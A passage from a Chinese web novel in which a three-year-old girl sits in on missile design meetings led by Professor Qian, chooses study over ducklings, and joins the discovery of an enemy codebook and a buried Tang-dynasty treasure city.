刘司令看着梁哲那副望眼欲穿的“老父亲”模样,拍了拍他的肩:“莫紧张,我会在里面照看着娃娃的,你放心。”
“司令,那就拜托您了。”
“我晓得。你们都散了吧,莫要围在这里,免得钱老看见了发火。”
众人一听,不等刘司令说完,立刻纷纷散开,
梁哲也只好一步三回头,在宋大壮的拉扯下恋恋不舍地离开了。
第89章 封神时刻!技术封锁又如何!钱老带队破局
研究室又称“第一设计室”,这里没有实验场那种嘈杂的机械轰鸣与林立的大型设备,而是一个通长的房间,摆满了计算尺、绘图板、成摞的手写公式稿纸,以及一些精巧的模型零件。
作为**研发的总体设计和理论奠基人,钱教授最核心、最耗时的工作,从来都不是实验场的实操,而是理论推导、总体设计、参数计算和方案论证。
这些精密而繁重的工作,都需要在书桌、黑板和各类计算工具前潜心完成,所以大多数时间,他都会坐镇在这里,带领团队攻克一个又一个难关。
甜甜第一次踏入研究室,很快就被墙上挂着的巨大的“**总体布局草图”所吸引,那上面密布着纵横交错的线条与各种她看不懂的符号标注,像一张神秘而宏伟的蓝图。
室内非常安静,甜甜的到来并未激起太多涟漪,屋内众人埋首在书桌前,只有铅笔划过图纸的沙沙声、计算尺滑动的轻响,以及偶尔压低声音的讨论,共同构成了这里的主旋律。
钱教授坐在黑板前,面前铺开着最新的弹体结构图纸,他的笔尖虚悬在某一处,显然正在凝神思考着什么。
甜甜被安置在钱教授侧后方一个特制的高脚小椅子上,方便她能看到钱教授的桌面。王总设计师递给她一个小画板,在她无聊时可以自己涂画。
不过甜甜牢记着钱爷爷的“约法三章”,小手规规矩矩地抓着画板,紧抿着小嘴,只用一双乌溜溜的大眼睛,追随着大人们的每一个动作,试图理解眼前的一切。
弹体组的几位设计师围在钱老一侧,正低声却激烈地讨论某个部件的曲线优化。
一位设计师用圆规和曲线板在草稿上画出一条流畅的弧线,比对着原图解释。
“原始弧度符合基本气动要求,但结合我们现有推进系统,飞行阻力恐怕会超出预期。我建议,参考最新的风洞试验数据,把这里的曲率再增加0.15%。”
“实际收益是多少?”
“我算过了,可以有效降低1.2%的跨音速阻力。”
旁边的设计师拿出计算尺飞快复核,片刻后点头:“数据推导无误,但是,这样会引发新问题。”
他指向一处连接部位,“如果调整曲率,为适配新曲线,必须重新计算应力分布,材料也需要跟着调整。”
“哎呀,这可得慎重。”第三位设计师连忙插话,“我们库存的合金板材剩的不多,只够做三次试件,新的材料一时间供应不上,万一试验失败,后续试制至少要等三个月。”
“同志们,大家还忽略了一个问题。”第四位设计师用笔在图纸上圈出一处,“尾翼尺寸也需要重新核算,否则后续装配会给衔接造成难度,甚至可能影响弹体的整体平衡。”
“也就是说,”第一位设计师快速在纸上记录着,“现在需要协调的是:性能优化——调整曲线,与工程现实——材料限制、工期风险之间的矛盾,以及安装工艺的适配问题。”
这张记录着所有问题的草稿纸,被轻轻放到钱教授面前。
钱教授一直没说话,笔尖始终虚悬着,他没有直接介入细节争论,而是将目光落在弹体结构图纸上的总体设计指标:射程、载荷、精度、稳定性、工期……
片刻后,他的笔尖在“稳定性”三个字上轻轻一点。
这个动作没有发出声音,却像一道茅塞顿开的引导,给激烈的讨论指明了方向。
大家明白,总师在提醒他们必须站在更高维度思考,一切调整,都必须以发射和飞行的绝对稳定为前提。
明白是明白,但具体如何权衡取舍,同时把握性能、资源与风险控制,依旧是个令人头疼的难题。
“这样吧,钱老,我再和源头工厂联系一下,看他们能不能加班加点,紧急改进一批合金板材?”一位设计师提议。
“这不是主要症结。”钱教授终于开口,他拿起第一位设计师的计算图纸,“局部优化0.15%,解决不了根本问题。理想状态下,我们需要将跨音速阻力再降低2.5%,才能确保弹体在剧烈震颤中保持结构完整与飞行稳定。”
“2.5%?”
几
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位设计师几乎同时倒吸一口凉气。这在气动优化已相当成熟的当前设计上,听起来简直像天方夜谭。
“钱老,”第一位设计师声音艰涩,“这个数字,我们从来没敢设想过。”
“降低2.5%的跨音速阻力”,在技术上是一个极高难度的战略目标,这意味着之前的设计逻辑需要被重新审视,很多工作可能要推倒重来。
钱教授却毫不动摇。他将桌上一份材料性能报告推到众人面前。
“同志们,之所以必须设定这个目标,是因为我们现在面临的根本制约就是材料。”
他的手指点了点报告上的关键数据,“目前国内生产的合金,其比强度和耐热性都达不到最佳性能。这导致了一个严重后果:为确保结构安全,我们不得不增加弹体壁厚、增设加强构件,最终导致整体重量超标了8%。”
他交握双手,目光扫过每一位设计师。
“超重的弹体,需要更大的推力,更厚的壳体,以及更少的阻力,如果我们在材料上一时无法突破,就必须在气动设计上拿出**性的方案,把这8%的重量劣势,至少追回三分之一。否则就算**造出来,也打不到它该打的地方。”
室内一片寂静,众人全都停下手上的动作,目光凝重地望向钱老。
一位设计师拿着草图,犯愁道,“钱老,这意味着我们可能要对长细比、头部构型甚至尾翼布局做全面修改。所有系统都要重新匹配。”
“我知道。”钱教授抬手打断他,“这无异于给诸位增加了数倍的工作量,但同志们,我们是在和现实条件的严酷限制赛跑,是为了弥补材料工业短板上的不足。”
“西方现在对我们实行技术和工艺的全面封锁,但我相信,就算我们没有一流的先进材料,凭着我们自己的智慧和双手,一样可以把**射到天上去。”
“所以我的决定是——”
他环视众人,他环视全场,目光中充满了让人信服、乃至为之奋不顾身的力量。
“原方案暂停,我们换个思路,重新开始!”
第90章 温柔考验!钱老出考题,萌娃放弃小鸭子
众人鸦雀无声。
所有人的目光聚焦在那份承载重任的图纸上,内心掀起惊涛骇浪。
他们几乎同时回想起钱老曾经向最高领导人许下的那句掷地有声的承诺——
大夏人能不能自已造出**?
——能!
——一定能!
“我们回去重新计算。”设计师们收起图纸和草稿,谁也没有提出争议,反而在眼中燃起了一簇簇信仰之光。
就算工作被打回到了原点,但目标却比以往任何时候都更加清晰、更加坚定,更加充满了斗志。
对于钱教授的要求,所有人心中都只有一条铁律——绝对认同,坚决遵从,不惜代价,践行到底!
他们刚刚离开,另一组人带着新的设计来到钱教授面前……
甜甜坐在小凳上,似懂非懂地旁观着这一切。没有人向她讲解原理,也没有人告诉她具体课题,她就像一个小观众,带着满脑子的问号,努力倾听着大人们的讨论。
不过,她可没像其他小朋友那样,在陌生又枯燥的环境中犯困打瞌睡,或者试图溜下来玩耍。
从始至终,她的小脸上都写满了超乎年龄的专注,仿佛也在用自己的方式,参与着这项重要的工作。
王总设计师在百忙之中,几次回头留意她的状态,都只看见那双璀璨闪耀的大眼睛,跟着讨论的节奏转动,里面没有一丝困倦和不耐烦。
看起来,小姑娘昨天信誓旦旦说要学习造**,还真不是一句玩笑的童言。
一旁的刘司令和王总设计师交换了一个眼神,两人眼中都流露出同样的惊讶与赞许。
一上午的密集讨论暂时告一段落。科研人员们陆续停下手中的工作,收拾好桌上的图纸和工具,起身活动身体。
路过甜甜身边时,他们才停下脚步,脸上露出温柔的笑容,亲切地同小姑娘打招呼。
几位女研究员心疼她坐得久,已私下商量好,要抽空给甜甜缝个软和的小椅垫。
钱教授最后一个放下笔,看向依旧一本正经板着小脸的甜甜,伸手摸了摸她的头:“乖囡,坐了这么久,累不累?”
“不累!”
甜甜终于得到开口的机会。之前她一直觉得,钱爷爷身上有一股很强的气场,让她不敢有丝毫懈怠,更不敢溜号,此刻爷爷一笑,那个熟悉的、和蔼的爷爷才又回来了。
“做得很好。”钱教授并没有问她一上午听懂了什么,只是笑着将她抱下椅子,“走,爷爷带你看个‘奖励’。”
甜甜一听,又兴奋起来,小孩子是最不怕累的,她早忘了之前一上午的枯坐,拍着小手欢呼:“好呀好呀。爷爷快带我去。”
钱教授微笑应了,王总设计师和刘司令围也过来,对小姑娘嘘寒问暖,一行人刚走出研究室,便见梁哲守在门外,不知已站了多久。
“钱老!”见到他们出来,梁哲急忙上前,目光关切地看向女儿,“甜甜没打扰大家工作吧?”
“没有,我们甜甜乖得很,是个合格的小学员。”钱教授笑容慈和,“现在,我要带她去看个‘小惊喜’。”
“爸爸,钱爷爷一点没凶甜甜,甜甜最乖啦!”甜甜看到爸爸,立刻骄傲地仰起小脸。
一句话逗得诸位大佬开怀而笑,气氛顿时从之前的严肃紧绷转为温馨愉悦。
“钱老,忙了一上午,您还是先吃午饭吧。”
“不着急,顺路的事,也让我们乖囡放松一下。”
说着,钱教授抱着甜甜,朝炊事班方向走去。
炊事班与磨坊之间有一片空地,上面用木枝和旧帆布搭了个简易窝棚。还未走近,便听见一阵“嘎嘎嘎嘎”的稚嫩叫声。
“是小鸭子!”小女孩对声音格外敏感,立刻在钱教授怀里兴奋地扭动起来。
之前从沙棘林带回的野鸭蛋,如今终于破壳而出,孵出了八只毛茸茸的鹅黄色小雏鸭。它们挤在铺了干草的窝棚里,正张着小嘴欢快地鸣叫着。
孩子天生对幼小生灵没有抵抗力。甜甜一下地,就雀跃地跑到鸭棚前。小鸭子们也不怕生,排着队摇摇摆摆地涌出来,围着她嘎嘎叫唤。
“小鸭子!太好了!我们有小鸭子了!”她喜得直跳,小心翼翼地捧起一只,将小脸轻轻贴在那柔软的绒毛上,“你们好呀,我是甜甜!欢迎你们来这里!”
小鸭子们晃着身子,嫩黄的喙轻啄着她的手指,仿佛在回应。
“哎呀,不行……”甜甜忽然想起什么,小嘴微微撅起,声音低了下来,“甜甜现在要‘上学’,要学造大**呢……
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以后不能天天来和你们玩了,怎么办呀……”
“甜甜,”钱教授在她身后温声开口,“这些小鸭子很可爱,也很需要朋友。你要不要多留些时间陪它们玩呢?学习可以慢慢来。”
这句话让甜甜陷入了两难。她当然喜欢这些毛茸茸的小家伙,多想每天都和它们在一起呀!可是……要是陪小鸭子时间多,自己就学不了造**了!
那不行!她答应过沈阿姨的,一定要做到!
妈妈说过,做人要说话算数,答应的事就要努力去做,半途而废不是好孩子。
她有些矛盾地低下头,为难的摆弄着手指,皱起了小鼻子。
刘司令和王总设计师对视一眼,心下明了:钱教授这是在用孩子纯真的天性,做一次温柔的考验。
他想知道,甜甜是更童心未泯,贪玩好动,还是真有一股超越年龄的定力,能为了一个承诺,忍受枯燥与艰辛的学习。
当然,无论她作何选择,所有人都不会失望,也会给她更多的理解和包容。
毕竟,她才只有三岁。
梁哲望着女儿的背影,心中充满疼惜。她还那么小,那么可爱,本就该在父母的呵护下,无忧无虑地玩耍,而不是给自己施加严格的要求,过早地褪去童真,背负起承诺的重量。
岁月还长,她完全可以慢慢长大、慢慢学习。
大人们默默地站在一旁,等待着甜甜的决定。小鸭子们“嘎嘎”的叫声清脆悦耳,充满了童真的诱惑,足以软化任何一颗童心。
沉默了几秒钟。甜甜忽然抬起头,两只羊角辫随之甩了甩,挺起了小胸脯。
她伸出小手,指向蓝天下试验场的方向,语气稚嫩却气势十足
“不行!甜甜现在要好好学习!要和钱爷爷、叔叔阿姨们一起造**,不能总陪你们玩!”
但随后,她又蹲下来,恋恋不舍地挨个摸了摸小鸭子们毛茸茸的脑袋,“不过,你们都是甜甜的好朋友。我答应你们,只要一有时间,甜甜就来看你们!拉钩!”
说完,她像是完成了一个重大的决定,长长地舒了口气,转身跑回钱教授身边,主动牵起他的手,“钱爷爷,我和小鸭子们说完话啦,咱们去吃饭吧!吃完饭后,甜甜还要跟着爷爷学造**呢!”
第91章 重大发现!敌特不死心,残骸挖出鹰国密码本
钱教授牵着甜甜的小手,一行人朝食堂走去。经过方才那场小小的“考验”,众人已然确定,这个看似懵懂的小奶娃,并未像大人们预想的那样,在贪玩的天性与求学的决心间摇摆。
至少,她身上那股远超年龄的毅力,足够令人动容。
“钱老,”王总设计师走在旁边,忍不住低声道,“您上午提的那个2.5%的目标……是不是太急了点?依咱们现在的计算能力,大家要多吃不少苦啊”
钱教授停下脚步,看着他,“老王,你也觉得,我太心急?”
“我不是质疑您的判断,”
王总设计师沉吟片刻,语气诚恳,“我是担心,一旦大家反复测算都无法突破,屡屡受挫之下,难免会打消积极性。”
“咱们这支队伍,理论基础本就薄弱,还处在边学边练、摸索成长的阶段,贸然承接这种高强度的挑战,怕是……”
“我倒觉得,不该低估他们。”钱教授的目光温和了些,“我们起步是晚,基础是弱,但同志们的干劲和决心很足,而且,心里都有必须成功的信念。”
他顿了顿,思绪飘向远方,“我当初在鹰国时,我的导师曾问我,以我的学识,为什么要回到一个农业国家,我能做什么?我回答他,只要国家需要,哪怕是回去种苹果,我也愿意。”
说着,他抬手指向远方戈壁,远方的实验场里,高耸的发射架如利剑刺破苍穹,正静候着它的使命。
“可你看,我们不是已经在这片戈壁滩上,把苹果的种子埋下去了吗?”
王总设计师想起他当年冲破重重阻挠、毅然回国的艰辛历程,以及他为大夏**奠基事业做出的贡献,心中涌起深深的敬意。
钱教授收回目光,话锋一转:“老王,你知道鹰国最新试射的‘雷神’**,射程能达到多少吗?”
“看过相关资料,大约2400公里。”
“2400……”钱教授喃喃重复了一句,转回身,拉着甜甜继续前行,“那你知道,如果我们能把跨音速阻力再降低2.5%,咱们的**能增加多少射程?”
不等他回答,钱教授便已经说出了答案。“至少150公里。”
“对我们这么大的国家来说,150公里不算远。但是,”钱教授的声音很轻,语气却坚定,“对大夏刚刚起步的**事业,这150公里,意义非凡。”
王总设计师沉默了。
“它意味着,我们的**可以从更安全的地方发射,能打击更远的目标。”钱教授继续说,“所以老王,我们必须突破这个极限。这是在和时间赛跑,在和别人的技术优势赛跑。这条路上,我们等不起。”
王总设计师注视着他,半晌,轻轻叹了口气,抬手拍了拍他的肩膀。
“钱老,您是对的。再难,我们也得做到。”他推了推眼镜,“放心,我会带着大家尽快拿出设计框架。”
“好!”钱教授也拍了拍他的肩,“我们一起努力。”
今天的午饭,食堂比平时多了一碗炒白菜。自从灾荒以来,这是基地第二次吃到新鲜的绿叶菜。
上一回还是战士们买了两棵白菜包了顿饺子。现在,随着基地自己开垦的土地有了收成,以后应该能吃到更多蔬菜。
每个人都吃得很香,感觉身上的干劲更足了。
就在这时,警卫员穿过人群,快步来到刘司令等人的桌前。
上一回还是战士们用两棵白菜包的饺子,现在,随着基地自
就在这时,警卫员穿过人群,快速来到了刘司令等人的桌前。
“报告!”
“嗯?讲。”
“司令,白旅长他们从坠机现场回来了!说有重大发现!”
刘司令放下筷子,“有么子发现?”
“白旅长说,在飞机残骸下面,挖出了……”警卫员咽了口唾沫,“挖出了一部完好的电台,还有密码本!”
“什么?!”
所有人的脸色都变了。
刘司令二话不说,起身向外就走,“看看去!”
钱教授和王总设计师也放下碗筷,看向眨着大眼睛的甜甜。“甜甜乖,你先吃饭,下午再去爷爷那儿。”
“甜甜也
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想去!”小姑娘立刻抓紧了钱教授的手,“是昨天那个大飞机,甜甜知道。”
钱教授和王总设计师对视一眼,彼此都已默许。王总设计师一把抱起她:“好,一起去,看看我们小福星还有什么好主意。”
“嗯!”甜甜高兴地点头。
会议室内,烟雾缭绕,风尘仆仆的白旅长坐在椅子上,军装领口的扣子解开两颗,正一根接一根地抽着烟。
长条桌上堆满了各种东西:带着烧灼痕迹的零件、断裂的机体碎片,后勤部和秘书处的同志正在逐一辨认、登记。
钱教授进门后,立刻快步走到窗边,把窗子推开一条缝,新鲜空气涌了进来。
白旅长一愣,看到甜甜,马上明白过来,赶紧把烟掐灭了。
“老白,说说你们的发现。”刘司令递给他一个搪瓷缸子。
白旅长接过来,咕咚咕咚灌了几大口水,这才向桌上一指:“司令,各位老总,你们看这个。”
他拨开一些零散的部件,露出一部军绿色电台。虽然有些磕碰,但主体结构完整,修一修应该还能用。旁边是用油布包着的密码本,几份烧焦了边缘的文件被小心搁置在一边。几份边缘烧焦的文件被小心放在一边。
“这是我们清理现场后,在起落架残骸下面找到的。”白旅长敲敲电台,“应该是坠机的时候被人扔出来的。要不是甜甜提醒我们挖四周的沙地,可能还发现不了。”
刘司令听了,无声地拍了拍甜甜的小手——那是表扬的意思。
译电员走上前,快速翻看密码本,一边看一边在纸上记录。很快,他的脸色变得严肃起来。
“你有么子发现?”刘司令问。
“报告司令,这种密码本的制式,应该出自鹰国战略情报局。之前我们截获过台岛的电文,用的就是这种密码本。”
他又拿起旁边的文件,“这几份文件虽然烧坏了不少,但还是能看到一些残留信息。这里,还有这里,都是我国西北地区的气象和地质资料。”
“还有这几处,是实验场的模糊坐标。”
第92章 悬念拉满!勘探现场有秘密,旧路或指向宝藏
众人全都安静下来。
“**龟儿子!”刘司令一拳捶在桌上,忍不住爆了粗口,“帝国主义亡我之心不死!想尽办法要渗透进来搞破坏!”
“不止。”钱教授拿起一张烧焦的纸片,指着上面模糊的曲线和数字,“这是**试验所需的基础环境数据。他们搜集这些,是为了更准确地侦察,好实施干扰和破坏。”
“我们现在还没有成熟的防空系统,无法有效拦截敌人的侦察机。”王总设计师语气沉重,“落后就要挨打。只有造出我们自己的‘长剑’,才能震慑这些敌对势力。”
甜甜缩在梁哲怀里,听着大人们的讨论。虽然听不懂那些复杂的术语,但她能感觉到大家心中的不甘和愤怒。
她伸出小手,轻轻抱住梁哲的脖子,小声安慰:“爸爸,别生气,甜甜会好好学习,帮爷爷们造**,打坏人。”
梁哲心中一暖,轻轻摸了摸她的小脑袋,语气欣慰:“好,咱们甜甜最乖,以后,和爷爷们一起,保护我们的基地,保护我们的国家。”
“老白同志,抓到那个活口呢?审出了么子口供?”刘司令问。
“司令,那个人烧伤很严重,现在还说不了话。得等渡过危险期才能审讯。”
“那就别审了。”刘司令一挥手,“给京城发电报,把人和东西都移交给国安部门。我有种感觉,这家伙和之前的敌特是一伙的,可以并案处理。”
白旅长立正回答:“是!”
“同志们,这次我们属于险胜,”刘司令放下缴获的资料,“不但摧毁了敌特小组,还找到了他们活动的证据。但同时,我们的**研发必须加快速度了。敌人比我们想象的更了解我们,也更清楚我们的弱点。”
敌特分子已经将触角伸到了这片看似荒凉的戈壁深处。而他们手中这支刚刚起步的**研发队伍,不仅要做好保卫工作,还要在可能的干扰下争分夺秒,攻克技术难关。
钱教授和王总设计师对视一眼,都感到了肩上的压力。
“司令,我们会抓紧时间推进研发工作。”钱教授郑重地说。
“我去通知各小组负责人,把下午的设计会提前。”王总设计师扶了扶眼镜,眼中燃起斗志。
“好!只要我们全力以赴,相信一定能成功!不辜负国家和人民的期望。”刘司令站起身来,和两位总师紧紧握手。
所有的疲惫与疑虑,都在这一刻化为了并肩作战的决心。
“还有一件事,”钱教授看向梁哲,“从明天开始,每天上午让秘书处的张知秀同志给甜甜上两节文化课。她以前做过国立学校的老师,识字、算术都很好。”
钱教授摸着甜甜的头顶:“甜甜有了学习的决心,也需要打好基础。上午学文化课,下午再来设计室旁听。理论和基础,两手都要抓。”
梁哲点头,“行,钱老,听您的。”
“乖囡,你怕不怕辛苦啊?”钱教授温柔地问。
“甜甜不怕!”小姑娘立刻挺起了小胸脯,像个小大人似的。
“爷爷们更辛苦,甜甜要向爷爷们学习。”
“说得真贴心,爷爷们没白疼你。”王总设计师笑着把甜甜搂进了怀里。
从这一天起,**研发的进度明显加快了。而甜甜也从懵懂幼童,正式开始了启蒙学习。
除了每天上午的两节文化课,下午在研究室旁听之外,甜甜还经常得到大佬们的指点。有人随手给她一个小机械模型,有人则递给她几个齿轮零件。渐渐地,甜甜不再觉得那些冰冷的机器和图纸是遥不可及的东西,它们变成了有趣的玩具,每个背后都藏着一个神奇的秘密。
就连那些在别人看来很难懂的原理,她也能通过实物和讲解的结合,慢慢理解。
除了每天上午的两节雷打不动的文化课,下午在研究室旁听之外,甜甜还经常得到大佬们的指点。
有的随手给她一个机械小模型,有的则递给她齿轮等零部件,渐渐地,甜甜她不再觉得那些冰冷的机器和图纸是遥不可及的东西,它们变成了一个个有趣的玩具,每个背后都藏着一个神奇的秘密。
就连那些在别人看来艰深晦涩的原理,她也能通
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过理论和实物的结合,慢慢理解。
随着研究室内计算、设计的不断深入,新的设计稿渐渐有了雏形。甜甜注意到,钱爷爷鬓角的白发明显又多了几根,但他和其他人的眼睛,却在一天天的研究中变得越来越闪耀。
第五天早上,在彻底完成灌溉管网抢修,身体渐渐恢复过来的郑宏教授,带领团队,重返直升机坠机处,他们要在这里,完成对那条二十年前旧路的勘探工作。
消息传来的时候,正值上午,甜甜正在张知秀的指导下做着算术题,梁哲从外面匆匆回来。
“张姐,有任务,司令让我来接甜甜。”
张知秀听了,立刻起身,帮甜甜穿上小花袄。
“爸爸,我们要去哪儿?”甜甜一边穿衣服,一边高兴地问。
她已经在基地学习好几天了,虽然好孩子不该说累,但能出去走走,她还是挺开心的。
“去了就知道了。”梁哲笑着亲了亲女儿的额头,抱着她走出营房。
到了外面才发现,刘司令、王总设计师、钱教授以及宋大壮叔叔都等在外面。
甜甜见了,立刻兴奋起来,几位长辈也都笑眯眯地看着她。
上了车,甜甜才知道,爷爷和叔叔们是要带她去“大飞机”那里,郑爷爷在那儿有了新发现。
宋大壮一边开车一边汇报:“旅长和郑教授顺着旧路一直往前找,还真让他们找到了源头。”
“真有古城宝藏?”王总设计师奇怪地问。
他曾经也听过这个传说,不过彼时自己还在大洋彼岸求学,当得到丧心病狂的侵略者不只残害人民,连国家的宝藏都要偷盗时,当即立下了回国报效的决心!
随着国家的建立,王总设计师和其他一些留学生,成为了第一批返回大夏的科学家,没想到当年在报纸上看到的“传闻”,竟然可能是真的。
“郑教授勘探到一半,就让我赶紧回来报信。他和旅长沿途留了人,各位**去一看就知道了。”
一句话说得大家都期待起来,刘司令立刻吩咐:“开快点,咱们都去看看!”
第93章 神级发现!沙漠惊现古城,甜甜福星高照!
汽车很快来到坠机地点。之前的残骸已经清理干净,脚下是一条修缮整齐的路,像一条盘踞在沙土中的长龙,蜿蜒着伸向远方。
乍见到这样整齐的路面,车上的几位领导都很激动,大家一直盼着能在沙漠中修出一条天路,没想到,竟通过小鬼子的手,阴差阳错地实现了。
等到汽车在路面上飞驰,就算年幼如甜甜,也感觉到了不同。
汽车不再像之前的颠簸摇晃,反而平稳异常,就连车速,都可以放心地加足马力。
梁哲摇下车窗,感受着耳边畅快的风声,甜甜欢快地伸出小手,冲着广阔无垠的天地间大喊着。
这条路是东西走向,坠机处恰好是一个拐角,从那里分岔,一边向西深入腹地,一边则向东通往镇里。
他们现在一路向西开,脚下的路开阔平整,大部分路段已经被白旅长和郑教授带着人清理出来,偶尔有被沙土掩埋的路段,只要沿着标记向前走,一样能找回正路。
就这样前进了大概四十里,前方已经能看到飘扬的红旗。白旅长带着战士们仍在挖掘,郑宏则坐在吉普车盖上,用铅笔在地图上标记着什么。
听到汽车声,他们同时回过头,高兴地向刘司令的车队迎了过来。
“司令,好消息,特大好消息啊!”
郑宏之前因为**的缘故,虽然得到及时救治,但身体还有点虚,此刻却兴奋得红光满面,一扫脸上的病容。
“哎,莫急莫急,慢慢说嘛。”刘司令递过军用水壶。
郑宏接过来喝了一大口,这才激动开口。
“这条路发现得太有价值了!不但可以满足军用运输,还能起到枢纽作用。等**部件组装打靶时,完全可以利用这条路运输,避开对基础设施的破坏。”
“老伙计,我关心的可不是这个。”刘司令笑呵呵地问,“你们不是找到‘那个’了吗?在哪儿?”
“我正要和您汇报这件事!”
郑宏展开手中的地图,指向一条用红铅笔加重标注的延伸线,“我们顺着路基清理、勘探,最终确认,这条路尽头还有约五公里路段被流沙完全覆盖。而它的终点——”他的手指用力在一个画圈的位置点了点,“就是一座古城!”
“古城?确定吗?”宋大壮和梁哲几乎同时开口。
“千真万确!”郑宏斩钉截铁
“我给我的历史系同学打过电话,他们介绍说,当年安史之乱时,有一支王庭部队携带宝物,进入沙漠,想把它藏在大漠深处,作为未来李唐皇室收复江山的储备物资。”
“肃宗继位后,曾召人来大漠取回宝物,可风沙迷眼,之前做的标记全都消失了,他们在大漠中找了七天七夜,都没能找到古城。”
“李氏王朝后来又几次派人进入,想找到这批宝藏,最终都无功而返,只好把这个消息秘而不发,不让外人得知。不料其中有一名将官,偷偷记录了此事,留传给了后世子孙。”
“我的历史系同学介绍,这件事就算国人知道的都很少,小鬼子肯定是接到汉奸的告密,才能这么顺利找到宝藏,还修筑了这么一条路,想把这些宝藏运走。”
几位大佬交换着眼神,心中震撼不已。能让敌人在这荒漠之地投入如此巨大的人力物力,这宝藏的价值恐怕难以估量。
如果他们最终失败了,没能把这些宝物运走,那对大夏而言,简直是天降横财的意外之喜!
而这一切线索的起点,竟是敌特的坠机,和甜甜敏锐地发现。
刘司令感慨地长叹一声:“天佑中华啊!更要紧的是,我们有个‘小福星’。甜甜,这功劳簿上,得给你记头一笔!”
被梁哲抱在怀里的甜甜听见表扬,立刻挺直了小身板,脆生生地说:“这是甜甜应该做的!”
她那可爱又自豪的模样,瞬间逗笑了在场的所有人。
“郑工,别愣着了,快带我们去看看,到底是座什么样的古城!”王总设计师已经迫不及待了。
“那还用说!”郑宏哈哈一笑,“别说你了,我也早就按捺不住了!走,我带你们去!”
“好!出发!去看看咱们大夏的宝藏!”刘司令兴致高昂地下达了命令,“郑宏同志,你立大功了!为基地立了功,更为祖国立了功!”<
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br>郑宏听到这里,眼神忽然黯淡了一下,方才亢奋的情绪瞬间低落下来。
他摇摇头,苦笑一声,“司令,别这么说,我做这些不只是为了国家,也是在……赎罪。”
“我的弟子,高衍舟,他是我一手栽培了多年的弟子,我视他如亲子,悉心教导,却没想到,他早已投靠了敌特阵营,做出破坏实验场、劫持甜甜这种事。”
“每当我想到他竟然背叛国家,背叛我,背叛我们的信仰,我就悔不当初,恨自己没能早点看清他的真面目”郑宏眼眶渐渐泛红,声音也带上了几分哽咽。
“和江国强同志一样,我们最信任的弟子,最终都成了危害国家的敌特分子。这件事,我有着不可推卸的责任,我心中有愧,唯有多做一些事,多为国家出一份力,才能稍稍减轻心中的负罪感。”
刘司令沉默了。
他深知,比起自己被徒弟**,他更痛心高衍舟误入歧途,亲手毁了自己。
他走上前,轻轻拍了拍郑宏的肩头,语重心长地说道:“老郑,过去的事,就让它过去吧。你别太自责了,敌特分子隐藏极深,擅长伪装,他们精心策划这一切,就是为了迷惑我们、利用我们,这件事,真的怪不得你。”
“如今你找到了这条路基,找到了古城宝藏,为国家立了大功,这就足够了。今后还有很多报效国家的机会,我们一起努力。”
和江国强一样,郑宏也是个直性子。虽然心里难过,但经过大家一番劝说,让他的心情也平复了不少。他很快收起失落的情绪,恢复坚定的神色:“各位**说得对,其他的先放一边,咱们现在就去古城,早日找出宝藏上交国家!”
车队再次启动,向着古城方向进发。车轮下,这条穿越沙海的道路仿佛用巨尺划出,将苍茫天地一分为二。
甜甜趴在车窗边,小脸贴着玻璃,看着窗外飞掠的土黄色世界,不时小声提问:“爸爸,古城在哪儿呀?”
“会有很多亮闪闪的宝贝吗?”
梁哲轻轻抚摸着女儿的头发,轻声细语,“很快,我们就能见证这些奇迹了。”
第94章 宝藏曝光!开箱即暴富!千年国宝现世
几分钟之后,连绵起伏的沙丘戛然而止,一片截然不同的景象出现在众人眼前。
一道长长的土墙半掩在黄沙下,露出地面上被风沙侵蚀的轮廓,但就算这样,仍然不失巍峨壮观,像一头跨越千年时光,仍在沉睡的巨兽,等待着人们将它唤醒。
沿着土墙前行,正中间的城门早已不见踪影,只剩下一个巨大的缺口,如同一张沉默的嘴,诉说着千年的沧桑与苦难。
从缺口向内望去,里面是一条笔直的街道,两侧盖满了房屋,如今也无一例外的都覆满了黄沙。
这,应该就是传说中,李唐皇室用来藏匿宝藏的古城。
车队在城门前停下,郑宏教授率先跳下车,举起手里的地图,对比眼前看到的一切。
“就是这了!”他兴奋地一拍双手,“司令,看这城墙的夯土层和外面包砖,至少有千年以上的历史!但您再看这些房屋,分明是日式的!看来当年小鬼子出动的人马不在少数,不但清理了古城,还在此长期驻扎过。”
“这未免也太兴师动众了。”王总设计师推了推眼镜,若有所思,“李唐王朝得留下多少宝物,才值得他们如此大费周章?”
众人纷纷摇头,只觉得即将发现的宝藏,一定远超大家想象。白旅长吩咐一声,“做好警戒,进城!”
工兵手持探雷器在前开路,战斗小组紧随其后,枪口指向前方未知的阴影。
刘司令等人走在队伍中部。一踏入城内,一种混合着历史厚重与岁月荒凉的气息便包裹而来。
街道格局大致可辨,四处散落着朽坏的木料和锈蚀的金属零件。随手推开几间相对完整的屋舍,日式榻榻米上,还丢弃着水杯、矮桌等生活用品,可见当时日寇撤退时是何等的仓皇。
街道尽头,矗立着一座庙宇式的建筑,门廊前的石柱花纹早已模糊,上面的匾额已经消失不见。
白旅长打出战术手语,两名战士悄无声息地贴近门侧,另一人轻轻推开虚掩的木门。片刻静默后,几秒钟之后,里面传来了兴奋的报告声:“**,有发现!”
“进!”
大门被推开,阳光从洞射而入,照亮了殿内景象。正当中是一尊泥塑彩绘的关帝坐像,虽然色彩剥落,但神威犹存,周仓持刀侍立一旁。
神像下的供桌、拜垫一应俱全,保存完好,时间仿佛在这里停滞。
或许因为日寇对关帝爷也十分尊崇,所以才没有破坏这里,让一切得以完好保存。
而在神像之后,几名战士正围着什么东西,眼冒绿光。刘司令等人快步赶上去,看清眼前的景象后,无不震惊在当场!
只见地上整整齐齐地码着五排木箱,每排四个,足足有二十个。
木箱箱体坚固,做工规整,显然不是唐代的物件,而是日寇当年用来装载物资的装备,上面还能看到清晰的日军标记。
“司令,传说中的宝藏,应该就在这里面!”
木箱上钉满了钉子,外面还缠紧了锁链,看得出来,日寇当年为了保护这些宝藏,费了不少心思。
众人都没想到,宝藏竟然会这么容易就被发现,心中难免生出几分疑虑——事情太过顺利,反而显得有些不真实。
白旅长眼神一凝,悄悄给身边的工兵班长使了个眼色。
工兵班长立刻会意,拿着探测设备,小心翼翼地在每一个木箱上扫了一圈,随后摇摇头,“旅长,没有发现**和**,判断安全。”
“司令,”白旅长请示,“开吗?”
刘司令沉吟了两秒钟,果断挥手,“开!”
战士们立刻行动起来,拿来撬棍、绞钳等工具,先将锁链绞断,再逐一起开钉子。
所有人的心随着动作都提到了嗓子眼,就连甜甜都伸长了小脖子,专心致志地看着。
“嘎吱,嘎吱……”
随着钉子越起越多,第一口箱子已经解开所有束缚。
宋大壮踏上一步,用力推开沉甸甸的盖子——
